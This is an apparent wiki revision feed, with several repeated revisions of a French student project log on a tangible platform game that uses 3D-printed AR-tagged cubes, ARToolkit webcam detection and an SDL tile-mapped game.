&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]&lt;br /&gt;
&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
&lt;br /&gt;
Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:montage.png |Exemple de disposition des cubes]] &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :&lt;br /&gt;
&amp;lt;br&amp;gt; 1 pour le cube principal A&lt;br /&gt;
&amp;lt;br&amp;gt; 2 pour le cube B&lt;br /&gt;
&amp;lt;br&amp;gt; 3 pour le cube C etc..&lt;br /&gt;
&amp;lt;br&amp;gt;Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement. &lt;br /&gt;
&amp;lt;br&amp;gt;Création du niveau à partir d'une matrice comprise dans un fichier texte : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &lt;br /&gt;
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une &amp;quot; gravité&amp;quot; , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultat dans fichier.png  |Résultat obtenu dans la console]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
L'installation de la gravité dans le jeu pour le personnage est finis avec résolution des problèmes de collision en l'air. Pour cela il a fallu prendre une décision : quand le joueur appuie sur une direction en y et en x et que le jeux détecte une collision uniquement dans la direction des x, nous avions la possibilité soit d'autoriser uniquement le mouvement du personnage vers l'axe des y, soit d'interdire tout mouvement. Nous avons donc décidé de choisir la deuxième solution , car dans le cas ou le personnage était déjà en l'air lors de cette collision, si on lui autorisait encore à monter sur l'axe des y , on avait une impression que le personnage volait le long des décors.&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes. &lt;br /&gt;
&amp;lt;br&amp;gt;Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.&lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes. &lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:Codecube2.png |Fonction pour ]] &lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=28685</id>
		<title>Jeu de plateforme tangible</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=28685"/>
				<updated>2016-03-12T11:10:30Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Partie Jeu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface, &lt;br /&gt;
&amp;lt;BR&amp;gt;ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.&lt;br /&gt;
&lt;br /&gt;
===Cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Le dispositif devra être capable :&lt;br /&gt;
&amp;lt;br&amp;gt;- De détecter des cubes matériels formant un &amp;quot;niveau&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;- D'analyser ces cubes et de les convertir en numérique.&lt;br /&gt;
&amp;lt;br&amp;gt;- De les intégrer à un jeu fonctionnant sur PC&lt;br /&gt;
&amp;lt;br&amp;gt;- D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.&lt;br /&gt;
 &lt;br /&gt;
===Choix techniques : matériel et logiciel===&lt;br /&gt;
&lt;br /&gt;
Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam &lt;br /&gt;
&amp;lt;br&amp;gt;pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes &lt;br /&gt;
&amp;lt;br&amp;gt;( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]&lt;br /&gt;
&lt;br /&gt;
===Établissement d'une liste de matériel===&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le matériel nous aurons besoin :&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une webcam pour faire les acquisitions vidéos.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une raspberry Pi pour les traiter.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.&lt;br /&gt;
&lt;br /&gt;
===Contraintes attendues===&lt;br /&gt;
&lt;br /&gt;
- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention &lt;br /&gt;
&amp;lt;br&amp;gt; à la résolution de la caméra.&lt;br /&gt;
&amp;lt;br&amp;gt;- Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.&lt;br /&gt;
&amp;lt;br&amp;gt;- La détection de la position des cubes les uns par rapport aux autres.&lt;br /&gt;
&lt;br /&gt;
==Déroulement des séances==&lt;br /&gt;
===Semaine 1 et 2===&lt;br /&gt;
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.&lt;br /&gt;
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez pluissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3===&lt;br /&gt;
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.&lt;br /&gt;
====Partie Artoolkit==== &lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable qui nous est fourni dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de &amp;quot;départ&amp;quot; imposé. &lt;br /&gt;
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte. &lt;br /&gt;
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.&lt;br /&gt;
&lt;br /&gt;
===Semaine 4===&lt;br /&gt;
====Partie Conception====&lt;br /&gt;
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]&lt;br /&gt;
&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
&lt;br /&gt;
Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:montage.png |Exemple de disposition des cubes]] &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :&lt;br /&gt;
&amp;lt;br&amp;gt; 1 pour le cube principal A&lt;br /&gt;
&amp;lt;br&amp;gt; 2 pour le cube B&lt;br /&gt;
&amp;lt;br&amp;gt; 3 pour le cube C etc..&lt;br /&gt;
&amp;lt;br&amp;gt;Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement. &lt;br /&gt;
&amp;lt;br&amp;gt;Création du niveau à partir d'une matrice comprise dans un fichier texte : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &lt;br /&gt;
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une &amp;quot; gravité&amp;quot; , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultat dans fichier.png  |Résultat obtenu dans la console]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes. &lt;br /&gt;
&amp;lt;br&amp;gt;Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.&lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes. &lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:Codecube2.png |Fonction pour ]] &lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=28684</id>
		<title>Jeu de plateforme tangible</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=28684"/>
				<updated>2016-03-12T11:09:44Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Partie Jeu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface, &lt;br /&gt;
&amp;lt;BR&amp;gt;ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.&lt;br /&gt;
&lt;br /&gt;
===Cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Le dispositif devra être capable :&lt;br /&gt;
&amp;lt;br&amp;gt;- De détecter des cubes matériels formant un &amp;quot;niveau&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;- D'analyser ces cubes et de les convertir en numérique.&lt;br /&gt;
&amp;lt;br&amp;gt;- De les intégrer à un jeu fonctionnant sur PC&lt;br /&gt;
&amp;lt;br&amp;gt;- D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.&lt;br /&gt;
 &lt;br /&gt;
===Choix techniques : matériel et logiciel===&lt;br /&gt;
&lt;br /&gt;
Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam &lt;br /&gt;
&amp;lt;br&amp;gt;pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes &lt;br /&gt;
&amp;lt;br&amp;gt;( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]&lt;br /&gt;
&lt;br /&gt;
===Établissement d'une liste de matériel===&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le matériel nous aurons besoin :&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une webcam pour faire les acquisitions vidéos.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une raspberry Pi pour les traiter.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.&lt;br /&gt;
&lt;br /&gt;
===Contraintes attendues===&lt;br /&gt;
&lt;br /&gt;
- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention &lt;br /&gt;
&amp;lt;br&amp;gt; à la résolution de la caméra.&lt;br /&gt;
&amp;lt;br&amp;gt;- Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.&lt;br /&gt;
&amp;lt;br&amp;gt;- La détection de la position des cubes les uns par rapport aux autres.&lt;br /&gt;
&lt;br /&gt;
==Déroulement des séances==&lt;br /&gt;
===Semaine 1 et 2===&lt;br /&gt;
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.&lt;br /&gt;
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez pluissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3===&lt;br /&gt;
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.&lt;br /&gt;
====Partie Artoolkit==== &lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable qui nous est fourni dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de &amp;quot;départ&amp;quot; imposé. &lt;br /&gt;
